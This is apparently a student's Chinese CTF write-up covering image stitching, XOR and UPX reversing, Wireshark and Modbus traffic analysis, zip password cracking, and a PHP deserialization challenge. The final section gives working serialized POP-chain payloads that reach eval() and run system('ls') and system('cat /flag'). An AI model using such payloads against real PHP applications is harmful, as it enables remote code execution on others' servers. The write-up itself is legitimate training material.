Polis_wp

可叹落叶飘零

1、先进行修改时间排序照片

2、有100张照片,可以猜一下是520还是1010的拼接方式

3、自己手动拼接后发现是10*10的拼接方式

4、这里其实可以直接手搓出信息

5、科学方法,用chat和python写出拼接代码

6、这里附上python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
from PIL import Image

# 指定图片文件夹路径
folder_path = "D:\\flag\\可叹,落叶飘零"

# 获取文件夹中所有png图片文件的路径
png_files = [os.path.join(folder_path, f) for f in os.listdir(folder_path) if f.endswith('.png')]

# 按照修改日期排序文件列表
png_files.sort(key=lambda x: os.path.getmtime(x))

# 动态计算新的大图片尺寸
total_images = len(png_files)
columns = 10
rows = (total_images + columns - 1) // columns
max_width = max_height = 0

for png_file in png_files:
img = Image.open(png_file)
width, height = img.size
max_width = max(max_width, width)
max_height = max(max_height, height)

result_width = max_width * columns
result_height = max_height * rows

# 创建一个新的大图片
result_image = Image.new("RGB", (result_width, result_height))

# 逐行拼接图片
x_offset = y_offset = 0
for idx, png_file in enumerate(png_files):
img = Image.open(png_file)
result_image.paste(img, (x_offset, y_offset))
x_offset += max_width
if (idx + 1) % columns == 0:
x_offset = 0
y_offset += max_height

# 保存拼接后的图片
result_image.save("result_image.png")

print("图片拼接完成!")

7、这里得到信息,文字识别不了,可能因为分辨率太低了,选择手搓

8、不过提交发现并不是flag,所以这里猜测可能进行了base加密

注意:可能会把l看成大I,如果是大I的话会解出乱码,试错后发现是l而不是大I

9、进行解密后得到flag

手搓之神or脚本之神

1、用wireshark打开,按时间顺序进行请求方式的筛选

2、分析数据流,他是在进行sql碰撞得到flag的每一位ascll码,最后一次请求即为碰撞成功的ascll码值
3、转成字母数字得到flag
4、手搓之神有待python代码附上

xor 签到题

1、先将xor放入IDA打开,f5看伪c代码

2、发现他是在跟5进行异或,u代表unsigned int,无符号整数 3、随后写出python的异或代码,得出flag(这里好像不用考虑转义字符,只有一个\)

Plain Text复制代码

1

2

3

4

5

result= ‘cidb~\5pZnk5rZ}56x’

flag= ‘’

for i in range(len(result)):

print(chr((ord(result[i]))^5),end=’’)

ez_wireshark_1

1、先打开流量

2、直接明文搜索flag,得到

ez_wireshark_2

1、流量里面发现有个被加密的flag.txt

2、跟踪数据流(注意这里不能直接复制,要查看原始数据,发现文件名开头的数据为504b0304),504b0506为结尾,后还有18个字节,本题刚好到最后一个字节为18个

3、复制16进制数据放入010中生成zip文件,发现里面有加密的txt文件

4、用ARCHPR进行字典解密,得到密钥

5、输入密钥得到flag

生产流量分析

1、打开流量,根据modbus进行筛选

2、根据modbus数据流发现可疑数据

3、手搓下来,进行base32解码得到flag

upx and base 64 change

1、拖入010发现标识符被改,将其改成大写的UPX,在进行脱壳

2、放入exeinfo里面进行查壳,packed,32bit

用upx进行脱壳

再看一下壳已经消失

3、直接放32位IDA里面

F5可以先找找main函数,发现密文


4、题目提示是base64的变形题,shift F12找到密文和密钥

5、发现两个密钥进行尝试解密,提示词crypto

6、

Unser

ClassObj = new hello(); } function __destruct() { $this->ClassObj->action(); } } class hello { function action() { echo "hello pop "; } } class shell { public $data; function action() { eval($this->data); } } $a = new pop(); @unserialize($_GET['s']); hello pop 这里可以看到 ->eval($this->data); 这里可以看到action()方法可以运行传入的data的代码 由原运行结果可知反序列化之后先执行的是pop-> 所以要让ClassObj为shell类型->再将shell中data的值变为想要的代码 O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:13:"system("ls");";}} 先看看目录 ![](https://raw.githubusercontent.com/xiaaaqqqyue/blogImage/main/img/1715761658742-691e8693-6a69-4125-ba0b-a11749231d08.png) O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:15:"system("ls /");";}} 再看看根目录 找到flag ![](https://raw.githubusercontent.com/xiaaaqqqyue/blogImage/main/img/1715761691802-127e6304-f286-4520-bd23-3a103507438d.png) 然后就是查看flag的内容了 O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:20:"system("cat /flag");";}} ![](https://raw.githubusercontent.com/xiaaaqqqyue/blogImage/main/img/1715761767491-2a916546-5286-4ec5-8a11-ad1625ab2343.png) cat +文件路径即可

Polis_wp
http://example.com/2024/05/22/Polis_wp 大一下集训/
Author
chaye
Posted on
May 22, 2024
Licensed under